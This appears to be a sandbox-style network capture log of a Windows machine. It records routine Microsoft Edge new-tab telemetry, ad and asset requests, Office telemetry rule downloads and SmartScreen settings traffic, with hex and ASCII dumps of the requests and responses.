Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:24 UTC	1261	OUT	GET /c.gif?rnd=1732086561809&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=1719a8aa6933433db3d31d52fe8028e8&activityId=1719a8aa6933433db3d31d52fe8028e8&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=7D2F667AA08B4FBABBA697FE356868DA&MUID=0D5DEEC7B95C6AE11814FBFAB85B6BD9 HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=0D5DEEC7B95C6AE11814FBFAB85B6BD9; _EDGE_S=F=1&SID=00138218F82B6D62278E9725F9436C7D; _EDGE_V=1; SM=T
2024-11-20 07:09:24 UTC	983	IN	HTTP/1.1 200 OK Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Content-Type: image/gif Last-Modified: Wed, 16 Oct 2024 16:24:13 GMT Accept-Ranges: bytes ETag: "8d3dafd6e71fdb1:0" Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=C; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=0D5DEEC7B95C6AE11814FBFAB85B6BD9; domain=.msn.com; expires=Mon, 15-Dec-2025 07:09:24 GMT; path=/; SameSite=None; Secure; Priority=High; Set-Cookie: SRM_M=0D5DEEC7B95C6AE11814FBFAB85B6BD9; domain=c.msn.com; expires=Mon, 15-Dec-2025 07:09:24 GMT; path=/; SameSite=None; Secure; Set-Cookie: MR=0; domain=c.msn.com; expires=Wed, 27-Nov-2024 07:09:24 GMT; path=/; SameSite=None; Secure; Set-Cookie: ANONCHK=0; domain=c.msn.com; expires=Wed, 20-Nov-2024 07:19:24 GMT; path=/; SameSite=None; Secure; Date: Wed, 20 Nov 2024 07:09:24 GMT Connection: close Content-Length: 42
2024-11-20 07:09:24 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 01 4c 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.5	49845	108.139.47.50	443	7860	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:24 UTC	1012	OUT	GET /b2?rn=1732086561810&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=0D5DEEC7B95C6AE11814FBFAB85B6BD9&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: UID=15A00b3d5f8d7d1b62a42da1732086563; XID=15A00b3d5f8d7d1b62a42da1732086563
2024-11-20 07:09:24 UTC	326	IN	HTTP/1.1 204 No Content Connection: close Date: Wed, 20 Nov 2024 07:09:24 GMT Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 f72e244fb4f0eab694c4c73be7c5f44e.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK50-P1 X-Amz-Cf-Id: T4SSXVLJTGOdJ51A4B5P2hFuRuWLs6bd35H0Bdt-Jd22FGg_gEg35Q==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.5	49846	20.75.60.91	443	7860	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:24 UTC	999	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=0D5DEEC7B95C6AE11814FBFAB85B6BD9&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=6686581979505309747&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=3eada84fc861482be1742b74b0e49525 HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=0D5DEEC7B95C6AE11814FBFAB85B6BD9; _EDGE_S=F=1&SID=00138218F82B6D62278E9725F9436C7D; _EDGE_V=1
2024-11-20 07:09:24 UTC	777	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 2780 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"1,P425132736-T700343875-C128000000002116709+B+P60+S1"},{"BATCH_REDIRECT_STORE":"B128000000002116709+P0+S0"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Wed, 20 Nov 2024 07:09:24 GMT Connection: close
2024-11-20 07:09:24 UTC	2780	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 48 6f 74 73 70 6f 74 73 5c 22 2c 5c 22 75 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 73 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 74 69 74 6c 65 5c 22 3a 5c 22 48 61 6c 66 20 4d 6f 6f 6e 20 49 73 6c 61 6e 64 5c 22 2c 5c 22 63 74 61 5c 22 3a 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 62 69 6e 67 2e 63 6f 6d 5c 2f 73 65 61 72 63 68 3f 71 3d 48 61 6c 66 2b 4d 6f 6f 6e 2b 49 73 6c 61 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"MSNAnaheimNewsNTPImageHotspots\",\"u\":\"MSNAnaheimNewsNTPImages\"}],\"ad\":{\"title\":\"Half Moon Island\",\"cta\":\"https:\/\/www.bing.com\/search?q=Half+Moon+Isla

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.5	49844	13.107.246.40	443	7860	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:24 UTC	438	OUT	GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 07:09:25 UTC	516	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:25 GMT Content-Type: image/png Content-Length: 1579 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:08 GMT ETag: 0x8DBDCB5DE99522A x-ms-request-id: 88ad6b48-701e-0005-2a1b-3b9c78000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241120T070924Z-r1d97b99577mrt4rhC1TEBftkc00000008f0000000005g0t Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-20 07:09:25 UTC	1579	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 c0 49 44 41 54 78 01 ed 58 4f 8b 5c 45 10 af 7a f3 66 66 15 c5 fd 00 42 66 f2 05 b2 22 c2 1e 54 d6 4f 90 15 c1 63 d8 e0 49 04 37 01 11 11 25 89 e0 d5 04 0f 1a f0 e0 e6 62 c4 cb 1e 44 50 21 b8 df 20 7b f0 4f 6e 1b 4f 8b 20 cc 7a 89 b3 ef 75 57 f9 ab ea 9e 37 cb 66 77 66 36 93 83 84 ad a4 d3 fd de eb 79 fd 7b bf fa 55 75 75 88 4e ed d4 9e 20 5b d9 dc ed 2d df de ed d1 63 34 a6 39 6c e5 fb c1 4a 54 39 2f 42 ab 22 d2 8b 91 54 a2 92 d4 91 63 90 6d 09 74 57 2a fd fc b7 77 9e df a6 47 b4 47 02 b8 f2 f3 60 29 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxXO\EzffBf"TOcI7%bDP! {OnO zuW7fwf6y{UuuN [-c49lJT9/B"TcmtW*wGG`)

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.5	49850	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:24 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:09:24 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:24 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 538c974f-101e-0028-648c-3a8f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T070924Z-r1d97b99577dd2gchC1TEBz5ys000000088g00000000fpba x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:09:24 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.5	49851	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:24 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:09:24 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:24 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: ac667451-e01e-003c-3e8c-3ac70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T070924Z-r1d97b99577n4dznhC1TEBc1qw00000008k00000000083wd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:09:24 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.5	49848	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:24 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:09:24 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:24 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: fdab78a3-101e-005a-1d8c-3a882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T070924Z-185f5d8b95cp7lkfhC1NYC7rpw0000000a20000000006hc6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 07:09:24 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.5	49852	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:24 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:09:24 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:24 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: f14fa7ac-201e-000c-4a8c-3a79c4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T070924Z-185f5d8b95cdh56ghC1NYCk1x400000003ng00000000fgv8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:09:24 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.5	49865	52.159.108.190	443	7860	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:24 UTC	698	OUT	POST /api/browser/edge/data/settings/3 HTTP/1.1 Host: data-edge.smartscreen.microsoft.com Connection: keep-alive Content-Length: 718 Accept: application/octet-stream;application/x-patch-bsdiff; Authorization: SmartScreenHash eyJhdXRoSWQiOiI0MWE0MzhiYy0xMjQ5LTQzZDMtYTI2ZC02OWNkNjJjMDgzMTciLCAia2V5IjoiZUlTeURoaEdEczJxbXR2YzduQzhpUT09IiwgImhhc2giOiIvYUJxWUYzWE1NST0ifQ== Content-Type: application/json; charset=utf-8 If-None-Match: "2.0-0" Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br
2024-11-20 07:09:24 UTC	718	OUT	Data Raw: 7b 22 69 64 65 6e 74 69 74 79 22 3a 7b 22 75 73 65 72 22 3a 7b 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 7d 2c 22 64 65 76 69 63 65 22 3a 7b 22 69 64 22 3a 6e 75 6c 6c 2c 22 63 75 73 74 6f 6d 49 64 22 3a 6e 75 6c 6c 2c 22 6f 6e 6c 69 6e 65 49 64 54 69 63 6b 65 74 22 3a 6e 75 6c 6c 2c 22 66 61 6d 69 6c 79 22 3a 33 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 2c 22 6f 73 56 65 72 73 69 6f 6e 22 3a 22 31 30 2e 30 2e 31 39 30 34 35 2e 32 30 30 36 2e 76 62 5f 72 65 6c 65 61 73 65 22 2c 22 62 72 6f 77 73 65 72 22 3a 7b 22 69 6e 74 65 72 6e 65 74 5f 65 78 70 6c 6f 72 65 72 22 3a 22 39 2e 31 31 2e 31 39 30 34 31 2e 30 22 7d 2c 22 6e 65 74 4a 6f 69 6e 53 74 61 74 75 73 22 3a 32 2c 22 65 6e 74 65 72 70 72 69 73 65 22 3a 7b 7d 2c 22 63 6c 6f 75 64 53 6b Data Ascii: {"identity":{"user":{"locale":"en-GB"},"device":{"id":null,"customId":null,"onlineIdTicket":null,"family":3,"locale":"en-GB","osVersion":"10.0.19045.2006.vb_release","browser":{"internet_explorer":"9.11.19041.0"},"netJoinStatus":2,"enterprise":{},"cloudSk
2024-11-20 07:09:25 UTC	302	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:25 GMT Content-Type: application/octet-stream Content-Length: 130439 Connection: close Server: Kestrel ETag: "2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1" Request-Context: appId=cid-v1:46ea1a4d-29cb-4e7e-a1ff-735721467fe3
2024-11-20 07:09:25 UTC	16082	IN	Data Raw: 7b 0d 0a 20 20 22 67 65 6f 69 64 4d 61 70 73 22 3a 20 7b 0d 0a 20 20 20 20 22 61 75 22 3a 20 22 68 74 74 70 73 3a 2f 2f 61 75 73 74 72 61 6c 69 61 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 63 68 22 3a 20 22 68 74 74 70 73 3a 2f 2f 73 77 69 74 7a 65 72 6c 61 6e 64 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 65 75 22 3a 20 22 68 74 74 70 73 3a 2f 2f 65 75 72 6f 70 65 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 66 66 6c 34 22 3a 20 22 68 74 74 70 73 3a 2f 2f 75 6e 69 74 65 64 73 74 61 74 65 73 31 2e 73 73 2e 77 64 2e 6d 69 63 72 6f 73 6f 66 74 2e 75 73 2f 22 2c 0d 0a Data Ascii: { "geoidMaps": { "au": "https://australia.smartscreen.microsoft.com/", "ch": "https://switzerland.smartscreen.microsoft.com/", "eu": "https://europe.smartscreen.microsoft.com/", "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",
2024-11-20 07:09:25 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 30 39 63 34 37 36 32 37 62 63 35 33 33 62 35 39 32 34 61 30 35 35 61 30 34 62 63 34 63 33 33 65 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 39 2e 35 38 33 34 34 30 31 37 37 34 34 37 38 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 65 36 33 34 65 62 32 30 64 62 35 30 38 65 33 61 33 31 62 36 31 34 38 31 61 32 35 31 62 66 39 33 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 30 2e 33 33 37 30 36 38 35 39 32 37 38 32 37 33 35 0d 0a 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: { "key": "09c47627bc533b5924a055a04bc4c33e", "value": 9.58344017744784 }, { "key": "e634eb20db508e3a31b61481a251bf93", "value": -0.337068592782735
2024-11-20 07:09:25 UTC	16384	IN	Data Raw: 30 37 37 37 34 37 33 33 30 39 35 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 31 32 62 62 65 66 63 30 35 64 35 31 34 32 65 37 65 62 36 38 36 66 61 64 38 64 65 61 39 32 31 31 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 30 35 37 31 37 37 35 33 31 31 38 30 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 65 35 66 62 38 64 66 31 32 35 61 34 37 32 31 64 31 64 66 33 32 38 62 63 36 66 32 64 64 65 61 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a Data Ascii: 07774733095 }, { "key": "12bbefc05d5142e7eb686fad8dea9211", "value": -1.05717753118094 }, { "key": "ce5fb8df125a4721d1df328bc6f2ddea", "value":
